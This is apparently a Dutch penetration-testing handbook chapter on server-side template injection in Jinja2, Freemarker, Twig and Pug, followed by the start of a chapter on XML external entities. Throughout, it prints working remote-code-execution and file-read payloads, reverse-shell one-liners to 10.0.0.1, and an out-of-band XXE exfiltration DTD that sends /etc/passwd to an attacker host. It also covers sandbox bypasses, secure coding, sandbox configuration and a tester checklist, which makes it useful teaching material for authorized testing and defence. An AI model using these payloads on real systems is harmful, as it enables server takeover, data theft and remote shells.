In plaats van ''.__class__ schrijf je ""|attr("__class__"). Het resultaat is identiek, maar de dubbele underscores staan nu in strings in plaats van direct in de template-expressie. Een filter dat alleen de template-syntax controleert, ziet ze niet.

Het is het equivalent van een bewaker die controleert of je een wapen bij je draagt, maar niet kijkt in de doos die je “cadeautje voor mijn moeder” noemt.

RCE via os.popen

Een elegantere route die geen index-zoektocht vereist:

{{cycler.__init__.__globals__.os.popen('id').read()}}

cycler is een Jinja2 built-in. Via __init__.__globals__ bereik je de globale namespace van de module waarin cycler is gedefinieerd, en daarin zit os. Van daaruit is het een kort pad naar popen().

RCE via url_for

Nog een route, specifiek voor Flask:

{{url_for.__globals__['__builtins__']['__import__']('os').popen('id').read()}}

url_for is een Flask-functie die beschikbaar is in elke Jinja2-template. Via de globale namespace bereik je __builtins__, van daaruit __import__, en daarmee kun je elke Python-module importeren. os.popen('id').read() voert het commando uit en retourneert de output.

Dit is de nucleaire optie. Met __import__ kun je alles importeren: subprocess, socket, http.client. Je hebt niet alleen command execution, je hebt volledige Python. Je kunt een reverse shell spawnen, bestanden lezen en schrijven, netwerkrequests maken, en in theorie het hele systeem overnemen.

7.4 Freemarker: Java’s template tijdbom

Apache Freemarker is de dominante template engine in het Java-ecosysteem. Je vindt het in Spring Boot-applicaties, Java CMS-systemen als Liferay en Halo, en in talloze enterprise-applicaties die gebouwd zijn op het principe “als het in Java is geschreven, is het veilig”. (Het is niet veilig.)

Detectie:

${7*7}     -> 49
${7*"7"}   -> ERROR (Java type mismatch: int * String)

Die foutmelding bij string-vermenigvuldiging onderscheidt Freemarker van Smarty (PHP), die dezelfde ${} syntax gebruikt maar strings wel naar getallen cast.

IB – De web_ssti_freemarker command file bevat Freemarker-specifieke exploits met de ?new() built-in als centraal mechanisme. De tips onderaan verwijzen naar bekende CVE’s in populaire Java CMS-systemen.

RCE via de Execute class

Freemarker heeft een built-in genaamd ?new() die klassen kan instantiëren. Combineer dat met de freemarker.template.utility.Execute klasse:

${"freemarker.template.utility.Execute"?new()("id")}

Dat is het. Een enkele expressie die een OS-commando uitvoert. Geen klasse-hiërarchie navigatie, geen index zoeken, geen omwegen. Freemarker maakt het de aanvaller gemakkelijk op een manier die bijna beledigend is voor de ontwikkelaars die het gebruiken.

# Commando's uitvoeren:
${"freemarker.template.utility.Execute"?new()("whoami")}

# Reverse shell:
${"freemarker.template.utility.Execute"?new()("bash -c 'bash -i >& /dev/tcp/10.0.0.1/443 0>&1'")}

RCE via ObjectConstructor

Een alternatieve route via ProcessBuilder:

${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder",["id"])}

ObjectConstructor is nog een Freemarker utility klasse die willekeurige Java-objecten kan maken. ProcessBuilder is Java’s native manier om processen te starten. De combinatie is voorspelbaar.

Bestanden lezen

Als je geen RCE nodig hebt maar wel bestanden wilt lezen:

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve("/etc/passwd").toURL().openStream().readAllBytes()?join(" ")}

Dit is absurd lang, maar het werkt. Het navigeert via de Class-hiërarchie naar een URL-object, opent een stream naar een lokaal bestand, en leest de bytes. De ?join(" ") aan het eind converteert de byte-array naar een leesbare string.

Het is typisch Java: technisch correct, functioneel werkend, en zo verbose dat je er depressief van wordt.

Informatie lekken

# Freemarker versie:
${.version}

# Beschikbare data in het model:
${.data_model}

De versie is belangrijk omdat oudere Freemarker-versies minder restricties hebben op ?new(). En het data model toont welke variabelen beschikbaar zijn in het template-context, wat je hints geeft over de applicatiestructuur.

IB – De tip in web_ssti_freemarker over CVE-2020-21523 is relevant: Halo CMS had een authenticated Freemarker SSTI. “Authenticated” klinkt veilig tot je beseft dat de standaard admin-credentials admin:123456 waren.

7.5 Twig: PHP’s nette neefje

Twig is de template engine van Symfony, het meest gebruikte PHP-framework na Laravel. Het wordt ook gebruikt door Craft CMS, Drupal 8+, en tal van andere PHP-applicaties die bewust hebben gekozen voor een template engine die veiliger is dan PHP zelf. Ironisch genoeg is die keuze niet altijd veiliger gebleken.

Detectie:

{{7*7}}    -> 49
{{7*'7'}}  -> 49  (NIET '7777777' -- dat zou Jinja2 zijn)

Het verschil met Jinja2 is subtiel maar betrouwbaar. PHP cast '7' naar het getal 7 voor de vermenigvuldiging, dus het resultaat is 49. Python herhaalt de string, dus het resultaat is '7777777'. Deze ene observatie onderscheidt twee engines met identieke syntax.

IB – De web_ssti_twig command file bevat exploits voor zowel Twig 1.x (deprecated maar nog in gebruik) als Twig 2.x/3.x. De |reduce en |sort filters zijn de sleutel voor moderne versies.

RCE via het reduce filter (Twig 2.x/3.x)

Het reduce filter in Twig accepteert een callback-functie als argument. In PHP is system een functie. Dus:

{{[0]|reduce('system','id')}}

Dit roept system('id') aan via het reduce filter. De [0] is een array met een element (nodig als input voor reduce), 'system' is de callback, en 'id' is de initiële waarde die als argument aan system wordt doorgegeven.

# Commando's uitvoeren:
{{[0]|reduce('system','whoami')}}

# Reverse shell:
{{[0]|reduce('system','bash -c "bash -i >& /dev/tcp/10.0.0.1/443 0>&1"')}}

RCE via het sort filter

Vergelijkbaar met reduce, accepteert sort een callback:

{{['id']|sort('passthru')}}
{{['whoami']|sort('system')}}

passthru en system zijn PHP-functies die commando’s uitvoeren. Door ze als sorteer-callback te gebruiken, worden ze aangeroepen met de array- elementen als argumenten.

Het is alsof je een sorteeralgoritme geeft aan iemand en zegt “sorteer deze lijst”, maar het algoritme is eigenlijk een instructie om de kluis te openen. Het systeem doet braaf wat je vraagt, zonder te beseffen dat de vraag kwaadaardig is.

Bestanden lezen

Twig heeft een ingebouwd filter voor het lezen van bestanden:

{{'/etc/passwd'|file_excerpt(1,30)}}

Dit leest de eerste 30 regels van /etc/passwd. Het is een Twig-feature die bedoeld is voor debugging. Dat het in productie beschikbaar is, is een keuze die het woord “onverstandig” niet volledig dekt.

Informatie lekken

# Twig environment informatie:
{{_self.env.getExtension('Twig_Extension_Core')}}

# Symfony applicatie dump (als debug mode aan staat):
{{dump(app)}}

dump(app) in Symfony geeft je het complete applicatie-object, inclusief de kernel, de container met alle services, en de configuratie. Het is het equivalent van iemand die je de blauwdruk van het gebouw geeft terwijl je alleen de weg naar het toilet vroeg.

Twig 1.x: de klassieke RCE

Twig 1.x had een bijzonder directe exploitatie-methode via _self:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Stap voor stap:

  1. registerUndefinedFilterCallback("exec") registreert PHP’s exec-functie als callback voor onbekende filters.
  2. getFilter("id") zoekt naar een filter genaamd “id”. Dat filter bestaat niet, dus de callback wordt aangeroepen met “id” als argument.
  3. exec("id") wordt uitgevoerd.

Twig 2.x heeft dit gefixt door _self.env alleen-lezen te maken. Maar Twig 1.x applicaties bestaan nog. En als er iets is dat dit boek consequent bewijst, is het dat oude software niet doodgaat. Het wordt alleen vergeten door iedereen behalve aanvallers.

IB – De tip over Craft CMS en de Sprout Forms plugin in web_ssti_twig is een concreet voorbeeld van een real-world SSTI-vector. Sprout Forms liet gebruikers Twig-syntax invoeren in formuliervelden die server-side werden gerenderd.

7.6 Pug: Node.js en de kunst van de indentatie

Pug (voorheen Jade) is de meest gebruikte template engine in het Express.js- ecosysteem. Het onderscheidt zich door zijn indentatie-gebaseerde syntax – geen HTML-tags, geen sluittags, alleen indentatie. Het is compact, het is elegant, en het geeft je rechtstreeks toegang tot Node.js, wat betekent dat SSTI hier niet “mogelijk” is maar “triviaal”.

Detectie:

#{7*7}  -> 49

De #{} syntax en het ontbreken van sluit-tags zijn de vingerafdrukken van Pug.

IB – De web_ssti_pug command file bevat Pug-specifieke payloads die gebruikmaken van Node.js’ global.process.mainModule.require. Let op het verschil tussen - (unbuffered) en = (buffered) prefixes.

RCE via child_process

In Pug kun je JavaScript-code uitvoeren met het - (unbuffered, geen output) of = (buffered, output wordt gerenderd) prefix:

- var require = global.process.mainModule.require
= require('child_process').spawnSync('id').stdout

Stap voor stap:

  1. global.process.mainModule.require geeft je toegang tot Node.js’ require functie, waarmee je modules kunt laden.
  2. require('child_process') laadt de module voor het uitvoeren van systeemcommando’s.
  3. .spawnSync('id').stdout voert id uit en retourneert de output.

Het - prefix voert code uit zonder output (handig voor setup). Het = prefix voert code uit en rendert het resultaat in de HTML.

Reverse shell

- var require = global.process.mainModule.require
- require('child_process').exec('bash -c "bash -i >& /dev/tcp/10.0.0.1/443 0>&1"')

Twee regels. Een reverse shell. In een template engine. De eenvoud is bijna ontwapenend.

Bestanden lezen

- var require = global.process.mainModule.require
= require('fs').readFileSync('/etc/passwd','utf8')

fs is Node.js’ bestandssysteem-module. readFileSync leest een bestand synchroon en retourneert de inhoud als string. Geen omwegen, geen wrappers, geen MRO-ketens. Just require and read.

De korte versie

Als je weet dat eval beschikbaar is of de sandbox niet strikt is:

#{global.process.mainModule.require('child_process').execSync('id')}

Alles op een regel. Van template injection naar command execution in een enkele expressie. Pug maakt het de aanvaller zo gemakkelijk dat het bijna onbeleefd is.

IB – De tips in web_ssti_pug benadrukken dat Pug indentation- gebaseerd is. In HTTP-requests kan dit lastig zijn: zorg dat de indentatie correct is, anders krijg je syntax errors. Gebruik execSync als eenvoudigste route voor output.

7.7 Sandbox escapes: de muren doorbreken

Template engines zijn zich bewust van het risico. Veel van hen implementeren sandboxes – beperkingen op wat templates mogen doen. De vraag is niet of die sandboxes bestaan, maar of ze werken.

Hoe sandboxes werken

Een template sandbox beperkt typisch het volgende:

In Jinja2 kun je een SandboxedEnvironment configureren:

from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
# __class__, __mro__, etc. zijn nu geblokkeerd

In Twig kun je een security policy instellen:

$policy = new Twig\Sandbox\SecurityPolicy(
    ['if', 'for'],      // Toegestane tags
    ['upper', 'lower'], // Toegestane filters
    [],                  // Toegestane methoden
    [],                  // Toegestane properties
    []                   // Toegestane functies
);
$sandbox = new Twig\Extension\SandboxExtension($policy);

Hoe sandboxes falen

Het probleem met sandboxes is dat ze werken op basis van bekende gevaarlijke patronen. Ze zijn blacklists in vermomming. En elke blacklist heeft blinde vlekken.

Jinja2 sandbox escapes:

De SandboxedEnvironment blokkeert directe toegang tot __class__ en gerelateerde attributen. Maar het attr() filter werkt soms nog:

{# Directe toegang geblokkeerd: #}
{{''.__class__}}  {# -> SecurityError #}

{# Via attr() filter: #}
{{""|attr("__class__")}}  {# -> Werkt soms nog #}

Of via string-concatenatie:

{# Onderscores in variabelen: #}
{% set x = "__cla" ~ "ss__" %}
{{""|attr(x)}}

Twig sandbox escapes:

Twig’s sandbox is strikter, maar oudere versies hadden bugs. Twig 1.x’s _self.env was nooit bedoeld als publieke API maar was wel toegankelijk. Twig 2.x fixte dit, maar niet voordat duizenden applicaties waren gebouwd op het oude gedrag.

Freemarker sandbox (configuratie-gebaseerd):

Freemarker heeft geen echte sandbox, maar een configuratie-optie new_builtin_class_resolver die bepaalt welke klassen via ?new() mogen worden geïnstantieerd:

// VEILIG:
cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);

// ONVEILIG (standaard in veel applicaties):
cfg.setNewBuiltinClassResolver(TemplateClassResolver.UNRESTRICTED_RESOLVER);

De standaardinstelling in veel applicaties is UNRESTRICTED_RESOLVER. De veilige optie bestaat, maar wordt niet standaard gebruikt. Het is als een kogelvrij vest dat in de doos zit terwijl je wordt beschoten.

Pug: geen sandbox

Pug heeft geen sandbox-mechanisme. Het is JavaScript in een template- syntaxis. Alles wat Node.js kan, kan Pug. Dit is geen bug – het is by design. De Pug-ontwikkelaars hebben besloten dat als je Pug gebruikt, je vertrouwt op de input die je templates bereikt. Dat is een aanname die in de praktijk ongeveer even betrouwbaar is als de aanname dat gebruikers alleen hun echte naam invullen in een formulier.

De fundamentele zwakte van sandboxes

Het probleem met template sandboxes is conceptueel. Een sandbox probeert een programmeertaal te beperken. Maar programmeertalen zijn ontworpen om expressief en flexibel te zijn. Die expressiviteit en flexibiliteit zijn precies wat aanvallers gebruiken om de sandbox te omzeilen.

Het is een fundamentele tegenstelling: je wilt een taal die krachtig genoeg is om nuttige templates te maken, maar beperkt genoeg om geen schade aan te richten. Die balans is bijna onmogelijk te vinden. Elke keer dat een sandbox wordt aangescherpt, wordt de taal minder bruikbaar. En elke keer dat de taal expressiever wordt, vinden aanvallers nieuwe ontsnappingsroutes.

De oplossing is niet een betere sandbox. De oplossing is gebruikersinput nooit als template-code te behandelen. Maar dat is een boodschap die al jaren wordt herhaald en al jaren wordt genegeerd.

7.8 Verdediging: de drukplaten beschermen

De verdediging tegen SSTI is conceptueel simpel maar organisatorisch complex. Het vereist dat ontwikkelaars begrijpen hoe template engines werken – niet alleen de syntax, maar de semantiek, de evaluatie-volgorde, en de implicaties van elke design-keuze.

Regel 1: Nooit gebruikersinput in templates

De fundamentele regel. Gebruikersinput hoort in variabelen, niet in template-strings:

# FOUT:
render_template_string(f"Hallo {user_input}!")

# GOED:
render_template_string("Hallo {{ name }}!", name=user_input)
// FOUT:
$twig->createTemplate("Hallo " . $userInput . "!")->render();

// GOED:
$twig->render('greeting.html', ['name' => $userInput]);
// FOUT:
Template t = cfg.getTemplate(new StringReader("Hallo " + userInput + "!"));

// GOED:
Template t = cfg.getTemplate("greeting.ftl");
Map<String, Object> data = new HashMap<>();
data.put("name", userInput);
t.process(data, out);

Het patroon is consistent over alle talen: scheiding van template en data. Het template is code – vertrouwd, door de ontwikkelaar geschreven, statisch. De data is variabel – niet vertrouwd, door de gebruiker aangeleverd, dynamisch. De twee mogen nooit worden vermengd.

Regel 2: Gebruik logic-less templates waar mogelijk

Logic-less template engines – zoals Mustache en Handlebars – beperken opzettelijk wat je in een template kunt doen. Geen loops, geen conditionals, geen expressie-evaluatie. Alleen variabele substitutie.

{{! Handlebars: alleen substitutie, geen evaluatie }}
<p>Hallo, {{name}}!</p>
<p>Je hebt {{count}} berichten.</p>

Het gebrek aan functionaliteit is het beveiligingsvoordeel. Als de template engine geen expressies kan evalueren, kan een aanvaller geen expressies injecteren. Het is beveiliging door beperking, en het werkt beter dan beveiliging door complexiteit.

De trade-off is dat je meer logica in de applicatiecode moet schrijven in plaats van in templates. Maar dat is sowieso waar logica thuishoort. Templates zijn voor presentatie, niet voor logica. Als je if-statements in je templates schrijft, ben je een programma aan het schrijven, niet een template.

Regel 3: Sandbox configuratie

Als je een volledige template engine nodig hebt, configureer de sandbox:

Jinja2:

from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
# Optioneel: extra beperkingen
env.globals = {}      # Geen globale functies
env.filters = {}      # Geen filters (extreem, maar veilig)

Twig:

$policy = new Twig\Sandbox\SecurityPolicy(
    ['if', 'for', 'set'],           // Tags
    ['escape', 'upper', 'lower'],   // Filters
    [],                              // Methoden: LEEG
    [],                              // Properties: LEEG
    ['range', 'cycle']               // Functies
);
$sandbox = new Twig\Extension\SandboxExtension($policy, true); // true = globaal
$twig->addExtension($sandbox);

Freemarker:

Configuration cfg = new Configuration(Configuration.VERSION_2_3_32);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);
cfg.setAPIBuiltinEnabled(false);

Regel 4: Input validatie

Als je om een of andere reden gebruikersinput in templates moet verwerken (en vraag jezelf drie keer af of dat echt nodig is), valideer de input strikt:

import re

def sanitize_template_input(value):
    # Strip ALLES dat op template-syntax lijkt
    dangerous_patterns = [
        r'\{\{',    # Jinja2/Twig/Handlebars
        r'\}\}',
        r'\$\{',    # Freemarker/EL
        r'<%',      # ERB/EJS
        r'%>',
        r'#\{',     # Pug/Ruby
        r'\{%',     # Jinja2/Twig blocks
        r'%\}',
    ]
    for pattern in dangerous_patterns:
        if re.search(pattern, value):
            raise ValueError(f"Ongeldige input: template syntax gedetecteerd")
    return value

Dit is een blacklist-benadering en dus inherent onvolledig. Maar het is een extra laag bovenop de andere maatregelen. Verdediging in diepte.

Regel 5: Content Security Policy

Een CSP-header kan de impact van SSTI beperken door te voorkomen dat geïnjecteerde JavaScript wordt uitgevoerd (als de SSTI output in HTML terechtkomt):

Content-Security-Policy: default-src 'self'; script-src 'self'

Dit voorkomt geen server-side code execution, maar het beperkt wat een aanvaller aan de client-side kan doen met de output van een succesvolle SSTI.

Regel 6: Least privilege

Het webapplicatieproces moet draaien met minimale rechten:

# De applicatie als unprivileged user:
sudo -u www-data python app.py

# In Docker:
USER nobody

# SELinux/AppArmor profielen die bestandstoegang beperken

Als een aanvaller RCE bereikt via SSTI, zijn de rechten van het proces het plafond van wat hij kan doen. Een proces dat als root draait, geeft de aanvaller het hele systeem. Een proces dat als nobody draait, geeft de aanvaller bijna niets.

7.9 De ongemakkelijke waarheid

En dan nu het moment waarop we even eerlijk moeten zijn over de stand van zaken. Het moment waarop de cynische stem het overneemt van de nieuwsgierige wetenschapper.

We laten gebruikers code schrijven in onze templates.

Lees die zin nog eens. We bouwen systemen die template-syntax evalueren, we stoppen daar gebruikersinput in, en we zijn verrast wanneer iemand die evaluatie misbruikt. Het is alsof je een vreemdeling de sleutels van je auto geeft en dan verbaasd bent dat hij wegrijdt.

De tools om SSTI te voorkomen bestaan al jaren. render_template_string met variabelen in plaats van f-strings is geen raketwetenschap. Sandboxed environments zijn gedocumenteerd. Logic-less templates bestaan. En toch, in 2026, publiceren beveiligingsonderzoekers nog steeds CVE’s voor SSTI in productieapplicaties die door miljoenen mensen worden gebruikt.

Het probleem is niet technisch. De oplossingen bestaan. Het probleem is cultureel. Ontwikkelaars kiezen voor de snelle route – een f-string is twee toetsaanslagen korter dan een extra parameter in render_template_string. Code reviewers missen het verschil omdat ze niet weten hoe template engines werken. Testers testen niet voor SSTI omdat het niet op hun checklist staat. En managers zeggen “het werkt toch?” tot het moment dat het niet meer werkt.

SSTI is geen geavanceerde aanval. Het is geen zero-day. Het is geen state- sponsored APT. Het is een gewone bug die voortkomt uit een gewoon gebrek aan aandacht. En dat maakt het eigenlijk erger dan al die exotische aanvallen waar de beveiligingsindustrie zo graag over praat. Want een zero-day kun je niet voorkomen. SSTI kun je voorkomen door vijf minuten langer na te denken voordat je commit. Maar die vijf minuten zijn blijkbaar te veel gevraagd.

De template engine is een drukpers. Gutenberg begreep dat de kracht van de drukpers lag in het feit dat de drukker bepaalde wat er werd gedrukt. Niet de lezer. Niet de voorbijganger. De drukker. In de vijfhonderd jaar sinds Gutenberg zijn we erin geslaagd om dat principe te vergeten en de controle over de drukplaten aan willekeurige internetgebruikers te geven.

Gutenberg zou het snappen. Maar hij zou het niet goedkeuren.

7.10 Referentietabel

Engine Taal Detectie RCE Payload
Jinja2 Python {{7*7}}=49, {{7*'7'}}=‘7777777’ {{cycler.__init__.__globals__.os.popen('id').read()}}
Twig PHP {{7*7}}=49, {{7*'7'}}=49 {{[0]\|reduce('system','id')}}
Freemarker Java ${7*7}=49, ${"test"}=‘test’ ${"freemarker.template.utility.Execute"?new()("id")}
Pug Node.js #{7*7}=49 #{global.process.mainModule.require('child_process').execSync('id')}
ERB Ruby <%= 7*7 %>=49 <%= system('id') %>
Smarty PHP {7*7}=49 {system('id')}
Velocity Java $class.inspect("java.lang.Runtime") Via reflection chain
Thymeleaf Java *{7*7}=49, ${7*7}=49 ${T(java.lang.Runtime).getRuntime().exec('id')}

Info disclosure payloads

Engine Payload Resultaat
Jinja2 {{config\|pprint}} Flask configuratie incl. SECRET_KEY
Jinja2 {{request.environ}} Request omgevingsvariabelen
Twig {{dump(app)}} Symfony applicatie-object
Twig {{'/etc/passwd'\|file_excerpt(1,30)}} Bestandsinhoud
Freemarker ${.version} Freemarker versie
Freemarker ${.data_model} Beschikbare template variabelen

Filter bypass technieken

Techniek Voorbeeld Werkt voor
attr() filter ""\|attr("__class__") Jinja2 __ filter bypass
String concatenatie {% set x = "__cla" ~ "ss__" %} Jinja2 keyword filter bypass
Variabele toewijzing {% set cls = "__class__" %} Jinja2 directe syntax filter
Callback via reduce {{[0]\|reduce('system','id')}} Twig functie-aanroep restrictie
Callback via sort {{['id']\|sort('passthru')}} Twig functie-aanroep restrictie
?new() built-in ${"...Execute"?new()("id")} Freemarker klasse-instantiatie

7.11 Checklist voor testers

  1. Identificeer template injection punten: Test alle invoervelden, URL-parameters, headers, en formuliervelden met {{7*7}}, ${7*7}, <%= 7*7 %>, en #{7*7}.

  2. Identificeer de engine: Gebruik de beslisboom met type coercion ({{7*'7'}}). Check ook foutmeldingen voor engine-naam en versie.

  3. Info disclosure eerst: Probeer {{config|pprint}} (Jinja2), {{dump(app)}} (Twig), ${.version} (Freemarker) voor waardevolle informatie zonder RCE.

  4. RCE proberen: Gebruik de engine-specifieke payloads uit de IB command files. Begin met de eenvoudigste payload en escaleer.

  5. Sandbox testen: Als de eerste payload niet werkt, probeer filter bypass technieken: attr(), string concatenatie, alternatieve routes.

  6. Impact demonstreren: Voer id en whoami uit voor bewijs. Lees /etc/passwd of een applicatie-configuratiebestand. Bouw geen reverse shell tenzij dat in scope is.

  7. Documenteer de keten: Beschrijf de detectie, de engine- identificatie, de payload, en het resultaat stap voor stap.

IB – Gebruik de engine-specifieke command files (web_ssti_jinja, web_ssti_freemarker, web_ssti_twig, web_ssti_pug) als naslagwerk tijdens je test. Elke file is een zelfstandige referentie voor die specifieke engine, inclusief tips voor bekende kwetsbare applicaties.

In 1440 vertrouwde Gutenberg erop dat alleen hij en zijn medewerkers de drukplaten aanraakten. In 2026 vertrouwen wij erop dat gebruikers geen accolades typen. De geschiedenis leert ons dat vertrouwen geen beveiligingsmaatregel is.

XML External Entities (XXE)

XML External Entities (XXE)

Er zijn in de geschiedenis van de informatica weinig momenten geweest waarop iemand zei: “Weet je wat we nodig hebben? Een manier om gegevens te beschrijven die zowel leesbaar is voor mensen als voor machines, die extensibel is, die een ingebouwd validatiemechanisme heeft, en die – oh ja – standaard de mogelijkheid biedt om willekeurige bestanden van de server te lezen.” Maar dat is precies wat er gebeurd is. En het heet XML.

XML, oftewel Extensible Markup Language, werd eind jaren negentig geboren uit de nobele ambitie om orde te scheppen in de chaos van dataformaten. Het was de Esperanto van de computerwereld: een universele taal die iedereen zou begrijpen en die alle communicatieproblemen tussen systemen zou oplossen. En net als Esperanto slaagde XML erin om tegelijkertijd ongelooflijk populair en ongelooflijk irritant te zijn.

Het idee was prachtig. In plaats van dat elk systeem zijn eigen formaat had – hier een CSV, daar een binair bestand, ginds een proprietary formaat dat alleen werkte op volle maan – zou iedereen dezelfde gestructureerde taal gebruiken. Ziekenhuizen, banken, overheden, webservices: allemaal XML. Het was alsof de Verenigde Naties besloten hadden dat alle landen voortaan hetzelfde formulier zouden gebruiken voor alles, van belastingaangifte tot hondenregistratie.

Wat de ontwerpers echter vergaten – of, vriendelijker geformuleerd, niet hadden voorzien – was dat ze in hun nobele standaard een functie hadden ingebouwd die het equivalent is van een sleutel die past op elk slot in het gebouw. Die functie heet external entities, en het is precies zo gevaarlijk als het klinkt.

De anatomie van XML: waarom dit ertoe doet

Voordat we dingen kapotmaken, moeten we begrijpen hoe ze werken. XML zelf is simpel genoeg. Je hebt tags, je hebt attributen, je hebt content:

<?xml version="1.0" encoding="UTF-8"?>
<boek>
    <titel>Incompetent Bastards</titel>
    <auteur>Iemand die beter zou moeten weten</auteur>
    <paginas>veel te veel</paginas>
</boek>

Tot zover niets schokkends. Het wordt interessant bij de DTD: de Document Type Definition. Een DTD is als een bibliotheekcatalogus die beschrijft hoe een document eruitziet, welke elementen het mag bevatten, en – cruciaal – waar het aanvullende informatie mag ophalen.

Stel je een bibliotheek voor. Een normale bibliotheekcatalogus vertelt je welke boeken er in die ene bibliotheek staan. Maar stel je nu voor dat de catalogus ook verwijzingen bevat naar boeken in elke andere bibliotheek ter wereld. En dat de bibliothecaris automatisch die boeken voor je ophaalt zonder te vragen of dat wel een goed idee is. Dat is wat een DTD met external entities doet.

Entities: de bouwstenen

Een entity in XML is in essentie een variabele. Je definieert hem in de DTD en gebruikt hem in het document:

<?xml version="1.0"?>
<!DOCTYPE notitie [
    <!ENTITY bedrijf "Acme Corporation">
]>
<notitie>
    <aan>Directie van &bedrijf;</aan>
    <tekst>Uw beveiliging is een aanfluiting.</tekst>
</notitie>

Dit is een internal entity. De waarde staat direct in de DTD. Onschuldig. Nuttig zelfs. Het is het XML-equivalent van een constante in een programmeertaal.

Maar dan is er de external entity. En hier begint het feest.

External entities: de sleutel tot het koninkrijk

Een external entity verwijst niet naar een waarde in de DTD zelf, maar naar een externe bron. Die bron kan een URL zijn, een bestand op de server, of eigenlijk alles wat het systeem kan benaderen:

<?xml version="1.0"?>
<!DOCTYPE data [
    <!ENTITY extern SYSTEM "http://example.com/geheim.txt">
]>
<data>&extern;</data>

Het SYSTEM keyword vertelt de XML-parser: “Ga naar deze locatie, haal de inhoud op, en plak die hier in.” De parser doet dat zonder morren. Zonder te vragen of dit misschien een slecht idee is. Zonder te controleren of de gebruiker die dit XML-document aanlevert misschien kwaadaardige bedoelingen heeft.

Het is alsof je een medewerker hebt die elk verzoek opvolgt. “Kun je even het bestand met alle wachtwoorden ophalen?” Natuurlijk. “Kun je even verbinding maken met dat interne systeem?” Geen probleem. “Kun je even de inhoud van /etc/passwd naar mijn server sturen?” Met alle plezier.

Parameter entities: de gevorderde versie

Naast gewone entities bestaan er parameter entities. Die worden gedefinieerd met een procentteken en kunnen alleen binnen de DTD zelf worden gebruikt:

<!ENTITY % bestand SYSTEM "file:///etc/hostname">
<!ENTITY % wrapper "<!ENTITY inhoud '%bestand;'>">
%wrapper;

Parameter entities zijn het Zwitsers zakmes van XXE-aanvallen. Ze stellen je in staat om complexe constructies te bouwen die de parser stap voor stap uitvoert, als een recept dat zichzelf kookt. Ze zijn essentieel voor de meer geavanceerde technieken die we verderop bespreken.

Basis XXE: bestanden lezen alsof het de normaalste zaak van de wereld is

De eenvoudigste XXE-aanval is tegelijkertijd de meest verbijsterende. Je stuurt een XML-document naar een server die XML accepteert, en je vraagt de parser vriendelijk om een bestand voor je te lezen:

<?xml version="1.0"?>
<!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<data>&xxe;</data>

Dat is het. Drie regels. De XML-parser leest /etc/passwd, vervangt &xxe; door de inhoud van dat bestand, en stuurt het resultaat terug in de response. Je hebt zojuist een bestand gelezen van een server waar je geen shell-toegang toe hebt. En het enige wat je nodig had, was een endpoint dat XML accepteert.

Op Windows werkt het net zo, maar dan met andere bestanden:

<!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">]>
<data>&xxe;</data>

En het stopt niet bij lokale bestanden. Je kunt de parser ook vragen om HTTP- requests te doen:

<!DOCTYPE data [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<data>&xxe;</data>

Dat laatste is een SSRF via XXE – je laat de XML-parser een verzoek doen naar het AWS metadata-endpoint. Twee kwetsbaarheden voor de prijs van een. We behandelen SSRF uitgebreid in het volgende hoofdstuk, maar het is goed om te weten dat XXE en SSRF vaak hand in hand gaan, als twee onafscheidelijke vrienden die allebei slechte ideeen hebben.

IB – Het commando web_xxe_payloads in de Command Library bevat kant-en-klare XXE payloads voor de meest voorkomende scenario’s: basis file reading, Windows-varianten, SSRF via XXE, Out-of-Band exfiltratie, CDATA wrapping, error-based XXE, en PHP expect wrappers. Open het via het Commands dashboard of zoek op “xxe” in de zoekbalk.

Wat web_xxe_payloads je geeft

Het IB-commandobestand bevat een complete verzameling payloads die je direct kunt gebruiken:

# === Basis file lezen ===
<?xml version="1.0"?>
<!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<data>&xxe;</data>

# === Windows ===
<!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">]>

# === SSRF via XXE ===
<!DOCTYPE data [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>

# === Out-of-Band (blind XXE) ===
# Externe DTD (host op aanvaller als evil.dtd):
# <!ENTITY % content SYSTEM "file:///etc/passwd">
# <!ENTITY % wrapper "<!ENTITY &#37; exfil SYSTEM
#     'http://10.0.0.1/xxe?data=%content;'>">
# %wrapper; %exfil;

# Payload:
<?xml version="1.0"?>
<!DOCTYPE data [
    <!ENTITY % remote SYSTEM "http://10.0.0.1/evil.dtd">
    %remote;
]>
<data>trigger</data>

# === CDATA wrapping (voor bestanden met XML-tekens) ===
# === Error-based XXE ===
# === PHP expect wrapper ===
<!DOCTYPE data [<!ENTITY xxe SYSTEM "expect://id">]>

Elke payload is een recept. De basis file read is het equivalent van een tosti-ijzer: simpel, effectief, moeilijk om verkeerd te gebruiken. De OOB-variant is meer een sousvide: complexer, maar onmisbaar voor situaties waarin de eenvoudige aanpak niet werkt.

Out-of-Band XXE: wanneer de server zijn mond houdt

De basis XXE-aanval werkt prachtig wanneer de server de inhoud van de entity teruggeeft in de response. Maar wat als dat niet gebeurt? Wat als de server de XML parst, het resultaat verwerkt, maar je nooit de waarde van je entity te zien krijgt?

Dit is blind XXE. En het is verrassend vaak de situatie in de praktijk. De applicatie gebruikt XML voor de input, maar de output is een JSON-response, een HTTP-statuscode, of simpelweg “OK”. De entity wordt wel opgelost – de parser haalt het bestand braaf op – maar de inhoud verdwijnt in het niets.

Hier komen Out-of-Band (OOB) technieken in het spel. Het concept is simpel: als de server de data niet naar jou stuurt, laat je de server de data naar een systeem sturen dat je wel controleert.

Hoe OOB XXE werkt

De truc is een combinatie van parameter entities en een externe DTD. Het gaat in drie stappen:

Stap 1: Je stuurt een XML-payload die verwijst naar een externe DTD op jouw server:

<?xml version="1.0"?>
<!DOCTYPE data [
    <!ENTITY % remote SYSTEM "http://ATTACKER/evil.dtd">
    %remote;
]>
<data>trigger</data>

